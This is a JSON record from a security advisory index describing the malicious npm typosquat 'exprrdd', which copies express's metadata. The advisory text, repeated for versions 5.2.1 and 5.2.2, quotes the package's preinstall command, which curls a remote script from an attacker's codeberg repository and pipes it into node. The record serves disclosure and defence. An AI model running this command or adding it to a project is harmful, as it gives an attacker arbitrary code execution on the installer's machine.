{"items":[{"id":"NVI-00010487","kind":"supply_chain_event","title":"Malicious code in exprrdd (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-pf56-8g6j-whr9"],"plain_summary":"GitHub lists this malware advisory for exprrdd, exprrdd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-eb452c0472522fdafd39007b79904124"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-eb452c0472522fdafd39007b79904124","url":"https://github.com/advisories/GHSA-pf56-8g6j-whr9","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-pf56-8g6j-whr9","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-eb452c0472522fdafd39007b79904124"],"technology":"exprrdd","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3)\nPackage 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js` and pipes the response directly into `node`, executing attacker-controlled JavaScript on the installer's machine at `npm install` time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-eb452c0472522fdafd39007b79904124"],"technology":"exprrdd","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3)\nPackage 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js` and pipes the response directly into `node`, executing attacker-controlled JavaScript on the installer's machine at `npm install` time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.2"]}],"null_published_at":"2026-10-31T22:27:06.719Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-09-29T15:31:02.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}